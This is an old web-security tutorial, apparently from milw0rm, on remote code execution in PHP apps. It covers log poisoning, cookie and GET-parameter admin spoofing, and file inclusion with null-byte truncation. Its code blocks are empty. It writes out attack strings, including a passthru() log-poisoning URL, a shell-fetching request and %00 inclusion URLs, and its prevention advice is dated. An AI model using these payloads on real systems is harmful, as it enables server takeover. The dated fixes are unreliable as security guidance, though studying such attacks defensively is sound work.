Remote Code Execution Is Yet Another Common Vulnerability
existing is wide range of web apps in the current era.It allows a remote
attacker to execute arbitrary code in the system
with administrator privileges without the attention of
the owner of the targeted site.It's just not a-hole-to-avoid, but an
extremely risky vulnerability,which can endanger your site to different attacks,
malicious deletion of data,even worst Defacing!


Basic Remote Code Executions:

Now I will highlight some basics remote code executions
being planted that exist still in this era of web app development.


We will now examine a comment form getting comments from a user("submit.php") and posting it at "comments.php"


We Are analyzing submit.php with simple post method that submits the gathered user input and forward the request to
comments.php.


/*

submit.php::
CODE :


comments.php::
CODE :

*/


Now by just looking at it, we could very easily prove it as insane! How?? Well,as we can see there is a form that submits
a user inputted(what-so-ever) comments to comments.php including malicious which writes the comments exactly as user's input
without being sanitized.This means that an attacker here is getting full advantage to exploit the vulnerable comments
submission form by executing some malicious request, which could be just to gather server details like using phpinfo()
which is an exceptional case for attackers these days,or even more pathetic could be getting a shell on a vulnerable server.


We will take another example using GET request to display error message and log the ip with the specific message.
(it's a common vulnerability planted by the coder while developing a website for an organization,etc).'x'.



/*

info.php::
CODE :

*/


This piece not only effect and vulnerable to remote code execution but also to several other attacks including
xss,javascript injection,vbscript injection etc.

This will too allow a remote attacker to poison the log file and inject malicious code to the logs.


Now I will highlight another type of remote code execution can also be defined as poisoning the cookies ;)


/*
CODE :

*/

Now we see the code is really pissed! In simple terms, its trying to say if the cookies of the system matches "admin"
then it verifies a user as the administrator.This is totally bad!

We will look upon another example like this which uses GET request to verify a user status::

/*
CODE :

*/

It can be just more complicated than that, like most possibly there can be usage of sessions to verify admin if the
variable "admin" would match "1", how ever this is just an sql query used to select administrator as the user when
admin = 1 ;) The query is giving possibly another vulnerability :P Yeah, right "Sql INJection!";

Remote Code Execution is also possible through headers deposition or an arbitrary file upload if theres a file processing
system and is not sanitized.

x43 - Exactly How An Attacker Get Advantage Over This Vulnerability And Misuse It!

I will highlight exactly how an attacker manage to do this

Likely supposing an attacker finding a vulnerable target and he got hold of the news that a GET variable have been
implemented here in order to log a particular data to some specific file lets say 'x'. The attacker will struggle to their
best to get hold of the file where the data is being wrote, path arrays are used by the attacker for successful exploitation
and then of course the attacker will likely inject some malicious
string in order to check if it's filtering the output, in this case no it's not doing any checkup or using htmlentities or
htmlspecialchars() funcs.So the attacker will likely get a hell lot of benefit from this.Most probably he will try to spawn
a shell on the targeted server to gain full advantages of his or her blackhat stuff ;)
Supposing an attack on the victim host

http://victim.xxx/info.php?msg=<? passthru($_GET['attacker']); ?>

This will poison the log file and inject a vulnerable piece of code which can be later exploited and
treated as a Remote File Inclusion(RFI) Vulnerability
to get a shell on the victim server and show his/her dirty works..

Probably, ||[http://victim.xxx/errorlog.php?attacker=Sh3ll?||

This will do the work! ;)


In some other cases like the one "if(!isset($admin == 1)" it could be also exploited with great ease, the attacker just
have to spoof the variable from the server request and that's not at all difficult being a GET variable :p

http://victim.xxx/file.php?admin=1

This will do it ;)

and for the cookies thingy it's same... just need to edit cookies and you are the master!

Supposable the below pattern::

CODE :


In this type of pattern, you just change the cookies to administrator and tada you are in as admin!


It's better to handle the case with care.I will now write a little POC(Proof-Of-Concept) in order to explain
and exploit the target remotely and quite easily! It's not good but important to use such kind of script
to exploit the issue and execute the command successfully,since the browser will surely encode your tags, making
the request not at all efficient and successful!

The below script would bypass this, and fulfill it's purpose at all cost :)

POC::
/*
CODE :

*/


Null Bytes Injection::

In A Piece Of Code Like One Mentioned Below, It Would Be A Wonder To An Attacker How To Eliminate The Compulsory
File Extension And Exploit The Vulnerability Or Use The Inclusion To Execute A Shell Upon The Targeted Server.

CODE :

Now we can clearly declare the above code as a critical vulnerability, helping attacker to do a lfi or rfi depending
on the attacker's strategy.But it's clear that the inclusion would be failed because of the extension increment issue.

Now the attacker would surely like this at all, and will try to eliminate the extension by using NULL BYTES Or Poisoning
null bytes in to the server.

Below is an example what exactly happens when a inclusion is performed in such case::

http://victim.xxx/include.php?file=http://127.0.0.1/sh3ll.txt?

since the code is adding extensions after $file variable means it would be adding .php after .txt, thus making
the exploitation dumb,in simple it would make the request looks like::

http://victim.xxx/include.php?file=http://127.0.0.1/sh3ll.txt.php?

Where such case don't exist!

Now the attacker will eliminate the extension to successfully exploit the issue by poisoning null bytes in the request
made,below is how the attacker will manage to do so::

http://victim.xxx/include.php?file=http://127.0.0.1/sh3ll.txt%00

This would make the request eliminate the additional extension, and would successfully exploit the issue!


Prevention::

It's better to design what-so-ever form in such a way that it sanitizes and filters a user input before
writing or actually executing the request on the server. This can be done easily with the ease of php
built in htmlentities(); htmlspecialchars(); and most importantly strip_tags and stripslashes functions.
This Will abort a malicious request and will execute the request after the malicious tags had been aborted.
For instance an attacker trying to inject a piece of code 'y' to a GET variable....

http://victim.xxx/file.php?var=<? phpinfo(); ?>

now if the file is under htmlentities,htmlspecialchars,strip_tags or stripslashes() protection, then this will make the
request of the attacker totally dumb and of course of no use!

Suppose ably a simple filtration pattern:

/*
CODE :

*/

This will abort the tags "<?", "?>","()" and of course will make the rest of the piece of code of no use since
"phpinfo" is not insane or looks malicious the server will only write that in exact ascii form to the file.

There are even better cures by using magicquotes on, how ever it can cause some other complicated problems if not used properly,
so it's not recommended to beginners until they know what they are doing.


I have used several examples to explain the basics of remote code execution and exactly how it's planted in web apps.
I have tried my level best to explain the terms and consequences in simple and easy words including all piece of codes
mentioned here.However I don't hold any responsibility of any misuse or dirtyworks performed by gaining the knowledge
within the paper.Beside this, I strongly recommend all to go through it, it's simple and easy and will awoke the dangers
that can be encountered by little careless mistakes!
by Arham
From http://milw0rm.com/papers/176